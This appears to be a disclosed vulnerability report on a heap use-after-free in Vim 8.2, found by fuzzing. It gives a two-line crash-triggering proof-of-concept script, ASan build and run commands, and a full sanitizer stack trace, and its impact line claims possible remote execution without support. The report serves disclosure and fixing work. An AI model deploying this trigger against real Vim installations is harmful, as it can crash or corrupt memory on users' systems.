✍️ Description

When fuzzing vim commit 021ef351c (works with latest build and latest commit 04b7b4b per this time of this report) v8.2.3728, I discovered a use after free. This crash triggered with only clang 10 and ASan. And I’m testing with clang 13 it doesn’t crash so I assume this crash doesn’t happen in clang >= 11

Proof of Concept

Here is the minimized poc

)/\v/
o/\%')

How to build

LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make -j$(nproc)

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!

ASan stack trace:

aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!
=================================================================
==3190301==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006631 at pc 0x000000988ebb bp 0x7fffffff5e40 sp 0x7fffffff5e38
READ of size 1 at 0x602000006631 thread T0
    #0 0x988eba in utf_ptr2char /root/vim/src/mbyte.c:1788:9
    #1 0xc6be7b in nfa_regmatch /root/vim/src/./regexp_nfa.c:5850:13
    #2 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
    #3 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
    #4 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
    #5 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
    #6 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
    #7 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
    #8 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #9 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #10 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
    #11 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
    #12 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
    #13 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #14 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #15 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
    #16 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
    #17 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
    #18 0x11fd74c in main /root/vim/src/main.c:426:12
    #19 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #20 0x41fe7d in _start (/root/vim/src/vim+0x41fe7d)

0x602000006631 is located 1 bytes inside of 2-byte region [0x602000006630,0x602000006632)
freed by thread T0 here:
    #0 0x49833d in free (/root/vim/src/vim+0x49833d)
    #1 0x4c89e9 in vim_free /root/vim/src/alloc.c:615:2
    #2 0x9a3660 in ml_flush_line /root/vim/src/memline.c:4060:2
    #3 0x9b6004 in ml_get_buf /root/vim/src/memline.c:2647:2
    #4 0x9b2b42 in ml_get /root/vim/src/memline.c:2563:12
    #5 0x9f43ca in dec /root/vim/src/misc2.c:424:6
    #6 0x9f46ae in decl /root/vim/src/misc2.c:443:14
    #7 0xf10009 in findsent /root/vim/src/textobject.c:80:10
    #8 0x963e52 in getmark_buf_fnum /root/vim/src/mark.c:363:6
    #9 0x9635f8 in getmark_buf /root/vim/src/mark.c:293:12
    #10 0xc764cb in nfa_regmatch /root/vim/src/./regexp_nfa.c:6838:16
    #11 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
    #12 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
    #13 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
    #14 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
    #15 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
    #16 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
    #17 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #18 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #19 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
    #20 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
    #21 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
    #22 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #23 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #24 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
    #25 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
    #26 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
    #27 0x11fd74c in main /root/vim/src/main.c:426:12
    #28 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

previously allocated by thread T0 here:
    #0 0x4985bd in malloc (/root/vim/src/vim+0x4985bd)
    #1 0x4c825d in lalloc /root/vim/src/alloc.c:244:11
    #2 0x4c8173 in alloc /root/vim/src/alloc.c:151:12
    #3 0xe1d594 in vim_strnsave /root/vim/src/strings.c:44:9
    #4 0x9b71fd in ml_replace_len /root/vim/src/memline.c:3437:13
    #5 0x9b6fa3 in ml_replace /root/vim/src/memline.c:3400:12
    #6 0x74f068 in ex_substitute /root/vim/src/ex_cmds.c:4654:4
    #7 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #8 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #9 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
    #10 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
    #11 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
    #12 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
    #13 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
    #14 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
    #15 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
    #16 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
    #17 0x11fd74c in main /root/vim/src/main.c:426:12
    #18 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-use-after-free /root/vim/src/mbyte.c:1788:9 in utf_ptr2char
Shadow bytes around the buggy address:
  0x0c047fff8c70: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8c90: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
  0x0c047fff8ca0: fa fa fd fa fa fa 03 fa fa fa 03 fa fa fa 03 fa
  0x0c047fff8cb0: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 00 00
=>0x0c047fff8cc0: fa fa 01 fa fa fa[fd]fa fa fa fd fd fa fa 00 03
  0x0c047fff8cd0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8ce0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 03
  0x0c047fff8cf0: fa fa fd fd fa fa 00 02 fa fa 05 fa fa fa fa fa
  0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3190301==ABORTING

💥 Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution